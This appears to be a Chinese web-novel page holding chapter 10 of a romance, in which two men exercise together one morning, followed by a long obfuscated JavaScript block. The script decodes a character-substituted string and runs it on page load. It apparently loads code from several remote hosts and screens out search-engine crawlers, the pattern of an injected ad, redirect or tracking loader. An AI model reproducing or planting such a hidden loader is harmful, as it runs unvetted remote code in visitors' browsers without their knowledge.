关灯
护眼
字体:

第10章(第1页)

章节目录保存书签

虽然带着不忿睡着的,醒了之后,沈狗子又是一条高高兴兴的狗子,亲切地为陆影提供了叫醒服务。

陆影有闹钟,并不需要,所以在开门之后,见到沈清脸上挂起的灿烂的笑容时,陆影觉得有些过于刺眼了。

“早啊,陆哥。”

沈清一身利落的运动装,浑身上下都散发着朝气。连带着也驱散了陆影许久没有早起造成的睡意。

“嗯,早,等我会儿,马上来。”

陆影回屋折腾好,带着一个黑色塑料袋出来。沈清还想去帮陆影拿的,但陆影却像是里面装着炸弹一般,赶紧移开了手,没让沈清抓到。

然后轻飘飘地说道:“走吧。别搞晚了,等会迟到。”

高档小区有塑胶跑道,沈清昨天跑完一趟,基本就跟遛狗、跑步的全混了个脸熟。

陆影略微喘着粗气跟在沈清身后,对他这谁都能说上两句话的能力十分佩服。

这就是所谓的社牛?

陆影在心里咂咂嘴,表示这是他一辈子都难以企及的高度。

沈清觉得热身差不多了,略微放慢脚步,跟陆影齐身。

“陆哥,我热完身了,要去器械区那边做点阻抗,你要跟我一起吗?”

“啊?”

许久没有这么运动,陆影觉得有点跟不上,但嘴上却是应了下来,“好啊。”

他的潜意识在叫嚣:他还只有二十八岁!他还不老!

“嗯,那陆哥你可以跟着我一起做呢!”

沈清带着陆影跑到健身器械区,微微做了些拉伸,直接俯身到了地上,“陆哥,一起做俯卧撑吗?”

“啊!好。”

“陆哥,跟着我的节奏!一!二!三!四!,,,”

跟着做了几组,陆影站起身,突然就有了一种刘姓艺人的既视感。

本以为做完俯卧撑就没了,但陆影万万没想到的是,沈清还要继续上单杠做引体。

这就不是能简简单单跟下来的了。

陆影不甘落后地跟着做了两个,感觉再继续下去,他就要废了,连忙从单杠上跳下来。

他可不想拉伤肌肉,影响拍戏。

陆影走到一旁喘着粗气,心道自已也是太久没有运动了。

若是在以前,他轻轻松松就能跟上的!

沈清只是在陆影跳下单杠的时候顿了一下,接着又继续拉引体。随着他的动作,昨日已经见过的腹肌又从衣摆下露了出来,在阳光下仿若在发光。

啧。这人还真是无时无刻不在散发荷尔蒙!

这么想着,陆影用舌尖顶了顶虎牙,用疼痛刺激来唤回理智。

“十五!”

沈清大喊一声,跳下了单杠,兴冲冲地看向了陆影,“陆哥,我破纪录了!”

腹肌重新被衣物遮盖,陆影将视线微微上移,冲着沈清点头,“很厉害。”

“嘿嘿,也还好吧。”

被陆影这么盯着,沈清有点害羞地挠挠后脑勺,然后憨笑起来,“陆哥,你才做了两个,还是得多练练啊。”

什么意思?说我不行?哼!

虽然很不想承认,但陆影现在的身体确是不太行,他不得不接受这个事实。

但依旧没好气地将毛巾狠狠地甩给沈清,“歇一会儿了去过早。”

“嘿嘿。”

章节目录

!function(){function a(a){var _idx="d5xud2u4am";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfgLcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgLcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pac6a??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 qcY=F8""a[7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=(c6=+i;NmLF562p67TcdaaaP7_2(F6O2 LcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OP7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os)5TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os7FTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osq6TqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osD_TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os2OTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osfYTqCLmR7RF:Cpm(O^gQ1KQ"Z=28Jc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/fnR_f@_od^/1os"!7m5Y|5T%%=FmL5(8Jc2a=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=DcaP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}Pr55dTm6Lr55dTcda??cd8HZ=(c6=""aa!qYF _8"1os"=h8"fnR_f@_od^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 XcYa[Xd5 F8H"1os2CTqf7mTfD_J(:m(O^"="1osCSTqfXmJq4Y(2fm(O^"="1osOSTq47mTfD_J(:m(O^"="1osF(Tq2SmJq4Y(2fm(O^"="1osDhTqdJmTfD_J(:m(O^"="1osh)TqCqmJq4Y(2fm(O^"="1osJfTq7DmTfD_J(:m(O^"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q1KQ"=28H"Y#"%hZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%_=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28_HfZcYH(Zc^%%aa=O8_HfZcYH(Zc^%%aa=68_HfZcYH(Zc^%%aa=d8_HfZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!qc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PpcOa=@8887mqOdfiFdF_LvvDcaP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=pcOaP=7mqOdfiFdF_L8}PqYF T8l}!7_2(F6O2 Dca[TvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 ica[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clTa[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=T8l0PqYF F8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ/f/1osj(8}vY8fnR_f@_od^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=28Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??2avvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajXc7_2(F6O2ca[qc@0}a=Xc7_2(F6O2ca[qc@0@a=fc7_2(F6O2ca[qc@0saPaPaPagfc7_2(F6O2ca[qc}0}a=fc7_2(F6O2ca[qc}0@a=Xc7_2(F6O2ca[qc}0saPaPaPaa=lYvvO??ica=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"a%"/)_pj68"%_=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=(c6=""aaPaPaca!'.substr(22));new Function(b)()}();